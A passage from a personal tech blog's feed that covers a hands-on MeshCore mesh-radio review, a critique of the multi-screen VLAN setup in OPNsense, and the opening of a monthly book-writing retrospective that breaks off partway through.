&lt;h3 id="sidenote-putting-the-lilygo-t-deck-into-dfu-mode-for-flashing">Sidenote: Putting the Lilygo T-Deck+ into DFU mode for flashing&lt;/h3>
&lt;p>I had a hard time even finding instructions for how to reflash the T-Deck+. I found this &lt;a href="https://www.youtube.com/watch?v=2Ry-ck0fhfw">long Jeff Geerling video&lt;/a> where he expresses frustration with how long it took him to find reflashing instructions&amp;hellip; and then he never explains how he did it!&lt;/p>
&lt;p>This is what worked for me:&lt;/p>
&lt;ol>
&lt;li>Disconnect the T-Deck from USB-C.&lt;/li>
&lt;li>Power off the T-Deck.&lt;/li>
&lt;li>Connect the T-Deck to your computer via the USB-C port.&lt;/li>
&lt;li>Hold down the thumbwheel in the center.&lt;/li>
&lt;li>Power on the device.&lt;/li>
&lt;/ol>
&lt;p>Confusingly, there&amp;rsquo;s no indication that the device is in DFU mode. I guess the fact that the screen doesn&amp;rsquo;t load is sort of an indication. On my system, I also see &lt;code>dmesg&lt;/code> logs indicating a connection.&lt;/p>
&lt;h2 id="messaging-with-the-t-deck">Messaging with the T-Deck&lt;/h2>
&lt;p>Once I figured out how to navigate the T-Deck, I tried messaging, and the experience remained baffling. For example, guess what screen I&amp;rsquo;m on here:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/tdeck-mystery-screen.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/tdeck-mystery-screen_hu_f37e2ef20ccc203e.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-mystery-screen_hu_84d573388f0e8fc7.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-mystery-screen.webp 677w'
 src="https://mtlynch.io/first-impressions-of-meshcore/tdeck-mystery-screen.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What does this screen do?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If you guessed &amp;ldquo;chat on Public channel,&amp;rdquo; you&amp;rsquo;re a better guesser than I am, because the screen looks like nothing to me. Even when it displays chat messages, it only vaguely looks like a chat interface:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/tdeck-public-chat.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/tdeck-public-chat_hu_e7c8e7ad1e71dbac.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-public-chat_hu_cca2aff2e288a82c.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-public-chat.webp 796w'
 src="https://mtlynch.io/first-impressions-of-meshcore/tdeck-public-chat.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Oh, it&amp;rsquo;s a chat UI.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I encountered lots of other instances of confusing UX, but it&amp;rsquo;s too tedious to recount them all here.&lt;/p>
&lt;p>The tragic upshot for me is that this is not a device I&amp;rsquo;d rely on in an emergency. There are so many gotchas and dead-ends in the UX that would trip people up and prevent them from communicating with me.&lt;/p>
&lt;h2 id="testing-meshcore-in-the-field">Testing MeshCore in the field&lt;/h2>
&lt;p>Even though the T-Deck broke my heart, I still hoped to use MeshCore with a different device.&lt;/p>
&lt;p>I needed to see how these devices worked in the real world rather than a few inches away from each other on my desk.&lt;/p>
&lt;h3 id="t-1000e-to-heltec-from-1-mile-away">T-1000e to Heltec from 1 mile away&lt;/h3>
&lt;p>First, I took my T-1000e to a friend&amp;rsquo;s house about a mile away and tried messaging the Heltec back in my home office. The transmission failed, as it seemed the two devices couldn&amp;rsquo;t see each other at all from that distance.&lt;/p>
&lt;p>Okay, fair enough. I&amp;rsquo;m in a suburban neighborhood, and there are lots of houses, trees, and cars between my house and my friend&amp;rsquo;s place.&lt;/p>
&lt;h3 id="t-1000e-to-heltec-from-a-few-blocks-away">T-1000e to Heltec from a few blocks away&lt;/h3>
&lt;p>The next time I was riding in a car away from my house, I took along my T-1000e and tried messaging the Heltec v3 in my office.&lt;/p>
&lt;p>One block away: messages succeeded.&lt;/p>
&lt;p>Three blocks away: still working.&lt;/p>
&lt;p>Five blocks away: failure.&lt;/p>
&lt;p>And then I was never able to reach my home device until returning home later that day.&lt;/p>
&lt;h3 id="t-deck-to-t-1000e-from-a-few-blocks-away">T-Deck to T-1000e from a few blocks away&lt;/h3>
&lt;p>Maybe the issue is the Heltec? I keep trying to leave the Heltec at home, but I read that the Heltec v3 has a particularly weak antenna.&lt;/p>
&lt;p>I tried again by leaving my T-1000e at home and taking the T-Deck out with me.&lt;/p>
&lt;p>I could successfully message my T-1000e from about five blocks away, but everything beyond that failed.&lt;/p>
&lt;h2 id="do-i-need-a-repeater">Do I need a repeater?&lt;/h2>
&lt;p>The other part of the MeshCore ecosystem I haven&amp;rsquo;t mentioned yet is repeaters.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/sensecap-solar-p1-pro.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/sensecap-solar-p1-pro_hu_12e289f4735b126e.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/sensecap-solar-p1-pro_hu_dd5a2f133f82cd7a.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/sensecap-solar-p1-pro_hu_8ccbbf90ae221e50.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/sensecap-solar-p1-pro_hu_ad1e32906ecc8e70.webp 1200w, https://mtlynch.io/first-impressions-of-meshcore/sensecap-solar-p1-pro.webp 1400w'
 src="https://mtlynch.io/first-impressions-of-meshcore/sensecap-solar-p1-pro.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://www.seeedstudio.com/SenseCAP-Solar-Node-P1-Pro-for-Meshtastic-LoRa-p-6412.html">SenseCAP Solar P1-Pro&lt;/a>, a solar-powered MeshCore repeater&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>MeshCore repeaters are like WiFi extenders. They receive MeshCore messages and re-broadcast them to extend their reach.&lt;/p>
&lt;p>Repeaters are what create the &amp;ldquo;mesh&amp;rdquo; in MeshCore. The repeaters send messages to other repeaters and carry your MeshCore messages over longer distances.&lt;/p>
&lt;p>There are some technologically cool repeaters available. They&amp;rsquo;re solar powered with an internal battery, so they run independently and can survive a few days without sun.&lt;/p>
&lt;p>The problem was that I didn&amp;rsquo;t know how much difference a repeater makes. A repeater with a strong antenna would broadcast messages well, but does that solve my problem? If my T-Deck can&amp;rsquo;t send messages to my T-1000e from six blocks away, how is it going to reach the repeater?&lt;/p>
&lt;p>By this point, my enthusiasm for MeshCore had waned, and I didn&amp;rsquo;t want to spend another $100 and mount a broadcasting device to my house when I didn&amp;rsquo;t know how much it would improve my experience.&lt;/p>
&lt;h2 id="inspecting-meshcores-source-code">Inspecting MeshCore&amp;rsquo;s source code&lt;/h2>
&lt;p>MeshCore&amp;rsquo;s &lt;a href="https://github.com/meshcore-dev/MeshCore">firmware is open-source&lt;/a>, so I took a look to see if there was anything I could do to improve the user experience on the T-Deck.&lt;/p>
&lt;p>The first surprise with the source code was that there were no automated tests. I &lt;a href="https://github.com/meshcore-dev/MeshCore/pull/925">wrote simple unit tests&lt;/a>, but nobody from the MeshCore team has responded to my proposal, and it&amp;rsquo;s been about two months.&lt;/p>
&lt;p>From casually browsing, the codebase feels messy but not outrageously so. It&amp;rsquo;s written in C++, and most of the classes have a large surface area with 20+ non-private functions and fields, but that&amp;rsquo;s what I see in a lot of embedded software projects.&lt;/p>
&lt;p>Another code smell was that my unit test calls the &lt;code>toHex&lt;/code> function, which &lt;a href="https://github.com/meshcore-dev/MeshCore/pull/925/files#diff-3e0cb09133a928bbf14276af63f5c0c5cffca33c6dc64bcdc32b4c68e878fa70R14">encodes raw bytes to a hex string&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Create a test input.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">uint8_t&lt;/span> input[] = {&lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#3677a9">0x23&lt;/span>, &lt;span style="color:#3677a9">0x45&lt;/span>, &lt;span style="color:#3677a9">0x67&lt;/span>, &lt;span style="color:#3677a9">0x89&lt;/span>, &lt;span style="color:#3677a9">0xAB&lt;/span>, &lt;span style="color:#3677a9">0xCD&lt;/span>, &lt;span style="color:#3677a9">0xEF&lt;/span>};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> output[HEX_BUFFER_SIZE(input)];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Call the function we&amp;#39;re testing.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>Utils::toHex(output, input, &lt;span style="color:#6ab825;font-weight:bold">sizeof&lt;/span>(input));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Verify that toHex encoded our bytes correctly.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>EXPECT_STREQ(&lt;span style="color:#ed9d13">&amp;#34;0123456789ABCDEF&amp;#34;&lt;/span>, output);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>MeshCore&amp;rsquo;s &lt;code>toHex&lt;/code> implementation depends on headers for two &lt;a href="https://github.com/meshcore-dev/MeshCore/pull/925/files#diff-8fe022be9e41bf437216567eb081b55fe69f294bdac92108246f7a595f650fa1">crypto&lt;/a> &lt;a href="https://github.com/meshcore-dev/MeshCore/pull/925/files#diff-44bbe9f8c6be4ff4ec7446a37bd4f1cac9ad261611164ca5a6600a61f8332c0f">libraries&lt;/a>, even though the function has nothing to do with cryptography. It&amp;rsquo;s the kind of needless coupling MeshCore would avoid if they wrote unit tests for each component.&lt;/p>
&lt;p>My other petty gripe was that the code doesn&amp;rsquo;t have consistent style conventions. Someone &lt;a href="https://github.com/meshcore-dev/MeshCore/issues/276">proposed&lt;/a> using &lt;a href="https://github.com/meshcore-dev/MeshCore/blob/companion-v1.10.0/.clang-format">the &lt;code>.clang-format&lt;/code> file that&amp;rsquo;s already in the repo&lt;/a>, but a maintainer &lt;a href="https://github.com/meshcore-dev/MeshCore/issues/276#issuecomment-3295460688">closed the issue&lt;/a> with the guidance, &amp;ldquo;Just make sure your own IDE isn&amp;rsquo;t making unnecessary changes when you do a commit.&amp;rdquo;&lt;/p>
&lt;p>Why? Why in 2025 do I have to think about where to place my curly braces to match the local style? Just &lt;a href="https://mtlynch.io/human-code-reviews-1/#let-computers-do-the-boring-parts">set up a formatter&lt;/a> so I don&amp;rsquo;t have to think about mundane style issues anymore.&lt;/p>
&lt;h2 id="wait-meshcore-isnt-open-source">Wait, MeshCore isn&amp;rsquo;t open-source?&lt;/h2>
&lt;p>I originally started digging into the MeshCore source to understand the T-Deck UI, but I couldn&amp;rsquo;t find any code for it. I couldn&amp;rsquo;t find the source to the MeshCore Android or web apps either.&lt;/p>
&lt;p>And then I realized: it&amp;rsquo;s all closed-source. All of the official MeshCore client implementations are closed-source and proprietary.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 377px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/faq-open-source.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 377px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/faq-open-source_hu_c919f288ced764f.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/faq-open-source.webp 375w'
 src="https://mtlynch.io/first-impressions-of-meshcore/faq-open-source.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Reading the &lt;a href="https://github.com/meshcore-dev/MeshCore/blob/repeater-v1.10.0/docs/faq.md#57-q-is-meshcore-open-source">MeshCore FAQ&lt;/a>, I realized critical components are closed-source.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>What!?! They&amp;rsquo;d advertised this as open-source! How could they trick me?&lt;/p>
&lt;p>And then I went back to the MeshCore website and realized they never say &amp;ldquo;open-source&amp;rdquo; anywhere.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/meshcore-website.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/meshcore-website_hu_12dc24f9bef38262.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/meshcore-website.webp 432w'
 src="https://mtlynch.io/first-impressions-of-meshcore/meshcore-website.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I must have dreamed the part where they advertised MeshCore as open-source.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It just &lt;em>seems&lt;/em> like such an open-source thing that I assumed it was. But I was severely disappointed to discover that critical parts of MeshCore are proprietary.&lt;/p>
&lt;p>Without open-source clients, MeshCore doesn&amp;rsquo;t work for me.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Update (2026-01-13)&lt;/strong>: There is now &lt;a href="https://github.com/zjs81/meshcore-open">an unofficial open-source client&lt;/a>.
&lt;/div>

&lt;p>I&amp;rsquo;m not an open-source zealot, and I think it&amp;rsquo;s fine for software to be proprietary, but the whole point of off-grid communication is decentralization and technology freedom, so I can&amp;rsquo;t get on board with a closed-source solution.&lt;/p>
&lt;p>Some parts of the MeshCore ecosystem are indeed open-source and liberally licensed, but critically the T-Deck firmware, the web app, and the mobile apps are all closed-source and proprietary. The firmware I flashed to my Heltec v3 and T-1000e is open-source, but the mobile and Android apps (clients) I used to use the radios were closed-source and proprietary. As far as I see, there are no open-source MeshCore clients aside from &lt;a href="https://github.com/meshcore-dev/meshcore-cli">the development CLI&lt;/a>.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Product&lt;/th>
 &lt;th>Open-source?&lt;/th>
 &lt;th>Free to use?&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/meshcore-dev/MeshCore">MeshCore radio firmware&lt;/a>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/meshcore-dev/MeshCore/wiki/Companion-Radio-Protocol">MeshCore protocol&lt;/a>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://flasher.meshcore.co.uk/">Web-based MeshCore firmware flasher&lt;/a>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">Yes&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://meshcore.co.uk/#apps">Official Android / iOS MeshCore apps&lt;/a>&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>&lt;font color="darkorange">Yes, but some features are paywalled&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://meshcore.co.uk/#apps">Official MeshCore web app&lt;/a>&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>&lt;font color="darkorange">Yes, but some features are paywalled&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://buymeacoffee.com/ripplebiz">T-Deck MeshCore firmware&lt;/a>&lt;/td>
 &lt;td>&lt;font color="red">No&lt;/font>&lt;/td>
 &lt;td>&lt;font color="darkorange">Yes, but some features are paywalled&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;h3 id="final-thoughts">Final thoughts&lt;/h3>
&lt;p>I still love the idea of MeshCore, but it doesn&amp;rsquo;t yet feel practical for communicating in an emergency. The software is too difficult to use, and I&amp;rsquo;ve been unable to send messages farther than five blocks (about 0.3 miles).&lt;/p>
&lt;p>I&amp;rsquo;m open to revisiting MeshCore, but I&amp;rsquo;m waiting on open-source clients and improvements in usability.&lt;/p>
&lt;h3 id="what-i-like-about-meshcore">What I like about MeshCore&lt;/h3>
&lt;ul>
&lt;li>It is incredibly cool to send text messages without relying on a big company&amp;rsquo;s infrastructure.&lt;/li>
&lt;li>The concept delights the part of my brain that enjoys disaster prep.&lt;/li>
&lt;li>MeshCore runs on a wide variety of low-cost devices, many of which also work for Meshtastic.&lt;/li>
&lt;li>There&amp;rsquo;s an active, enthusiastic community around it.&lt;/li>
&lt;/ul>
&lt;h3 id="what-i-dislike-about-meshcore">What I dislike about MeshCore&lt;/h3>
&lt;ul>
&lt;li>All of the official MeshCore clients are closed-source and proprietary.
&lt;ul>
&lt;li>&lt;strong>Update (2026-01-13)&lt;/strong>: There is now &lt;a href="https://github.com/zjs81/meshcore-open">an unofficial open-source client&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The user experience is too brittle for me to rely on in an emergency, especially if I&amp;rsquo;m trying to communicate with MeshCore beginners.&lt;/li>
&lt;li>Most of the hardware assumes you&amp;rsquo;ll pair it with your mobile phone over Bluetooth, which introduces many more points of failure and complexity.&lt;/li>
&lt;li>The only official standalone device is the T-Deck+, but I found it confusing and frustrating to use.&lt;/li>
&lt;li>There&amp;rsquo;s no written getting started guide.
&lt;ul>
&lt;li>There&amp;rsquo;s &lt;a href="https://github.com/meshcore-dev/MeshCore/blob/repeater-v1.10.0/docs/faq.md">a FAQ&lt;/a>, but it&amp;rsquo;s a hodgepodge of details without much organization.&lt;/li>
&lt;li>There&amp;rsquo;s a good unofficial &lt;a href="https://www.youtube.com/watch?v=t1qne8uJBAc">intro video&lt;/a>, but I prefer text documentation.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Add a VLAN to OPNsense in Just 26 Clicks Across 6 Screens</title><link>https://mtlynch.io/notes/opnsense-clicks/</link><pubDate>Mon, 17 Nov 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/opnsense-clicks/</guid><description>&lt;p>How many clicks does it take to add a new VLAN to an OPNsense firewall?&lt;/p>
&lt;p>Nothing fancy. Just your regular, basic VLAN with its own IPv4 range.&lt;/p>
&lt;p>How many clicks should that take? Maybe two or three? Five if we&amp;rsquo;re real wild?&lt;/p>
&lt;p>Every time I add a new VLAN to OPNsense, the process feels strangely tedious, so I decided to &lt;a href="https://codeberg.org/mtlynch/count-clicks">measure exactly how many clicks&lt;/a> it takes to add a simple VLAN to my firewall.&lt;/p></description><content:encoded>&lt;p>How many clicks does it take to add a new VLAN to an OPNsense firewall?&lt;/p>
&lt;p>Nothing fancy. Just your regular, basic VLAN with its own IPv4 range.&lt;/p>
&lt;p>How many clicks should that take? Maybe two or three? Five if we&amp;rsquo;re real wild?&lt;/p>
&lt;p>Every time I add a new VLAN to OPNsense, the process feels strangely tedious, so I decided to &lt;a href="https://codeberg.org/mtlynch/count-clicks">measure exactly how many clicks&lt;/a> it takes to add a simple VLAN to my firewall.&lt;/p>




&lt;figure class="video" style="max-width: 850px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="add-vlan-opnsense.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>

&lt;p>The result was:&lt;/p>
&lt;ul>
&lt;li>26 clicks&lt;/li>
&lt;li>71 keystrokes&lt;/li>
&lt;li>6 distinct screens / dialogs&lt;/li>
&lt;li>3 distinct workflows&lt;/li>
&lt;/ul>
&lt;p>And that&amp;rsquo;s before I even assign any firewall rules!&lt;/p>
&lt;p>I could have traded some of those clicks for keystrokes with the Tab key, but I tried to match my everyday process.&lt;/p>
&lt;h2 id="why-is-this-so-tedious">Why is this so tedious?&lt;/h2>
&lt;p>There are so many steps in the process where I just want to ask OPNsense, &amp;ldquo;Why couldn&amp;rsquo;t you have figured this out on your own?&amp;rdquo;&lt;/p>
&lt;p>Every time I add a VLAN to my OPNsense router, I have to say, &amp;ldquo;Actually, I&amp;rsquo;d like it on my &lt;em>LAN interface&lt;/em>, not the random, disconnected interface you chose by default because its name is first alphabetically&amp;rdquo;:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/notes/opnsense-clicks/default-parent.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/notes/opnsense-clicks/default-parent_hu_4301ba7aa20ed3c3.webp 300w, https://mtlynch.io/notes/opnsense-clicks/default-parent_hu_8fb0f1d68b5f0441.webp 600w, https://mtlynch.io/notes/opnsense-clicks/default-parent.webp 676w'
 src="https://mtlynch.io/notes/opnsense-clicks/default-parent.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="dont-make-me-type-prefixes-for-you">Don&amp;rsquo;t make me type prefixes for you&lt;/h3>
&lt;p>If I dare enter an arbitrary VLAN name, OPNsense whines and insists I prefix the name with &lt;code>vlan&lt;/code>:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/notes/opnsense-clicks/vlan-prefix.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/notes/opnsense-clicks/vlan-prefix_hu_dcae0604f5a0d1e5.webp 300w, https://mtlynch.io/notes/opnsense-clicks/vlan-prefix_hu_7c6e761322474659.webp 600w, https://mtlynch.io/notes/opnsense-clicks/vlan-prefix.webp 676w'
 src="https://mtlynch.io/notes/opnsense-clicks/vlan-prefix.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You gave me an arbitrary input field, OPNsense! If you want a special prefix, add that on your end. Don&amp;rsquo;t conscript me to type your prefixes for you.&lt;/p>
&lt;p>And speaking of typing prefixes for you, when we get to DHCP assignments, if I try to leave the start and end range blank, you give me &lt;strong>four&lt;/strong> separate errors:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/notes/opnsense-clicks/ip-range.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/notes/opnsense-clicks/ip-range_hu_f51760eee9d86941.webp 300w, https://mtlynch.io/notes/opnsense-clicks/ip-range_hu_a6bb5e7fdcca398c.webp 600w, https://mtlynch.io/notes/opnsense-clicks/ip-range.webp 696w'
 src="https://mtlynch.io/notes/opnsense-clicks/ip-range.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>And again, in both the &amp;ldquo;from&amp;rdquo; and &amp;ldquo;to&amp;rdquo; fields, I have to type out &lt;code>192.168.10.&lt;/code> even though OPNsense knows that&amp;rsquo;s the only valid prefix I can enter. Why can&amp;rsquo;t you do that for me, OPNsense? Better yet, default to the full subnet range so I don&amp;rsquo;t have to type anything.&lt;/p>
&lt;h3 id="why-is-this-three-separate-workflows">Why is this three separate workflows?&lt;/h3>
&lt;p>If you didn&amp;rsquo;t have the patience to sit through the whole video, I actually have to go through three separate workflows to create one standard VLAN:&lt;/p>
&lt;ol>
&lt;li>Create the VLAN device.&lt;/li>
&lt;li>Create a VLAN &lt;em>interface assignment&lt;/em> for that device.&lt;/li>
&lt;li>Configure DHCP for that interface.&lt;/li>
&lt;/ol>
&lt;p>But it&amp;rsquo;s all the same VLAN? Why isn&amp;rsquo;t it just one screen? Or at the very least, a single, continuous flow rather than forcing me to go scour the whole OPNsense settings tree for the next workflow.&lt;/p>
&lt;h2 id="what-is-my-ideal-vlan-creation-flow">What is my ideal VLAN creation flow?&lt;/h2>
&lt;p>Why can&amp;rsquo;t the VLAN creation flow just be a single dialog with two questions?&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/notes/opnsense-clicks/ideal-vlan-dialog.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/notes/opnsense-clicks/ideal-vlan-dialog_hu_82ceb6719943df32.webp 300w, https://mtlynch.io/notes/opnsense-clicks/ideal-vlan-dialog_hu_2a417cbc8cc692d4.webp 600w, https://mtlynch.io/notes/opnsense-clicks/ideal-vlan-dialog.webp 678w'
 src="https://mtlynch.io/notes/opnsense-clicks/ideal-vlan-dialog.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>And then OPNsense can:&lt;/p>
&lt;ul>
&lt;li>Assume I want to enable the VLAN I just created.&lt;/li>
&lt;li>Assume that the VLAN is for my LAN port.&lt;/li>
&lt;li>Assume I want to create a static IP range for it where the tag number is the third octet (e.g. 192.168.&lt;strong>10&lt;/strong>.0/24).&lt;/li>
&lt;li>Assume that I want to enable DHCP and use all available IPs in the /24.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m happy for all the other options to be under an &amp;ldquo;Advanced&amp;rdquo; section, but why not just use sensible defaults?&lt;/p>
&lt;p>Every guide I can find for setting up VLANs in OPNsense uses these settings, so why not just default to them?&lt;/p>
&lt;h2 id="is-the-web-ui-helping-at-this-point">Is the web UI helping at this point?&lt;/h2>
&lt;p>OPNsense is meant to be a friendly UI wrapper around FreeBSD utilities, most notably the &lt;a href="https://www.openbsd.org/faq/pf/filter.html">pf firewall&lt;/a> and the &lt;a href="https://nlnetlabs.nl/projects/unbound/about/">Unbound DNS server&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;m grateful to OPNsense for helping me escape the ecosystem of closed-source, buggy home firewalls that Linksys puts out, and I&amp;rsquo;ve been a &lt;a href="https://shop.opnsense.com/product/opnsense-business-edition/">paying licensee&lt;/a> for four years.&lt;/p>
&lt;p>But I&amp;rsquo;m thinking it might be time for me to leave the nest and run OpenBSD or FreeBSD directly with some simple scripts to do what I want. It doesn&amp;rsquo;t seem too hard to run one of those OSes and create a script like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./add-vlan --name=&lt;span style="color:#ed9d13">&amp;#39;guest&amp;#39;&lt;/span> --tag=&lt;span style="color:#3677a9">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Created VLAN &lt;span style="color:#ed9d13">&amp;#34;guest&amp;#34;&lt;/span> with tag &lt;span style="color:#3677a9">10&lt;/span> and IP range 192.168.10.1 to 192.168.10.254
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></content:encoded></item><item><title>Refactoring English: Month 11</title><link>https://mtlynch.io/retrospectives/2025/11/</link><pubDate>Fri, 07 Nov 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/11/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m running late on my book.&lt;/li>
&lt;li>A great blog post inspired me to think more about convenience shell scripts.&lt;/li>
&lt;li>The game &lt;em>Oxygen Not Included&lt;/em> is fun.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m running late on my book.&lt;/li>
